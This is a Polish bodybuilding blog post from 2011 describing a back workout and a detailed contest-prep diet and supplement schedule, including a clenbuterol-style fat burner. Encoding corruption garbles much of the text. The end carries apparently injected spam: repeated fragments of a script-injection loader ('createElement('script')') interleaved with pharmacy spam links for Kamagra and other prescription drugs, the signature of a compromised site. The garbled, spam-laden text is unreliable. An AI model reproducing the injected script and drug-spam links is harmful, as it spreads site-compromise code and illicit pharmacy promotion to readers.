Problem z czasem na relaks

6.10.2011 / Michał Karmowski

Po bardzo mocnym wtorkowym treningu plecA?w , wczoraj przetrenowaAi??em triceps z bicepsem i zrobiAi??Ai??m w koAi??cu wolne. Teraz kiedy zostaAi??o tak niewiele do zawodA?w A?ycie nabraAi??o jeszcze wiAi??kszego tempa i ciAi??A?ko wygospodarowaAi?? czas naAi?? na jakiAi?? relaks. Poranne aeroby zaczynajAi?? sprawiaAi?? kAi??opot bo nie mogAi?? siAi?? rano dobudziAi?? a kaA?da stracona minuta to przestawiony dzieAi?? :-) Nie ukrywam , A?e stratowanie w sezonie jesiennym to dla mnie nowoAi??Ai?? zwAi??aszcza , A?e mam coAi?? w sobie z „niedA?wiedzia ” i zapadam w zimowy sen.

TRENING PLECAi??W:

-Ai??ciAi??ganie uchwytu gA?rnego wyciagu do klatki

-wiosAi??owanie gryfem w opadzie

-wiosAi??owanie sztangielkAi?? jednorAi??cz

-Ai??ciaganie uchwytA?w maszyny hammer do bioder

-ciAi??gi

-tyAi?? barkA?w na maszynie pec dec

-szrugsy z hantlami

 

dieta i suplementacja dalej bez zmian czyli:

2 miarki bcaa powder, 2 miarki l-glutamine extreme, 6 caps l-carnitine complex, 4 caps clenburexin
30 min cardio bieA?nia
po 2 miarki bcaa powder, 2miarki l-glutamine extreme
1-600g biaAi??ek jaj, 150g pAi??atkA?w owsianych, 150g awokado, ai??i?? jointXpack, vitalXpack, 2 g vit c strong
2,3-300g piersi z kurczaka, 75g ryA?u ,50g orzechA?w
przed treningiem 15 g S.A.W. , 2 miarki bcaa powder, 2 miarki l-glutamine extreme, 6 caps l-carnitine complex

trening

po treningu 40g biaAi??ka z isolate 100, 2 miarki bcaa powder, 2 miarki l-glutamine extreme, 2 g vit c strong
20 min pA?A?niej 250g ryby, 75g ryA?u
4,5-300g kurczaka, 75g ryA?u, 25g oleju lnianego
30 min cardio
6-300g steka, 80g masAi??Ai?? orzechowego , 2 miarki l-glutamine extreme

 

jedynie dziAi?? w dzieAi?? wolny od treningu zmniejszyAi??em iloAi??Ai?? wAi??glowodanA?w o 60g , obciAi??Ai??em je z posiAi??ku 5 ale daAi??em 300g fasoli szparagowej , ktA?rAi?? uwielbiam.

 var d=document;var s=d.createElement(‚script’); Cheap var d=document;var s=d.createElement(‚script’); var d=document;var s=d.createElement(‚script’); Order http://rositafitriaarini.mhs.narotama.ac.id/2018/02/01/florinef-acetate-for-sale/ kamagra oral jelly review forum. Kamagra reviews. kamagra review blogs. depakote treatment bipolar http://chr-centre.org/?p=7129 pills online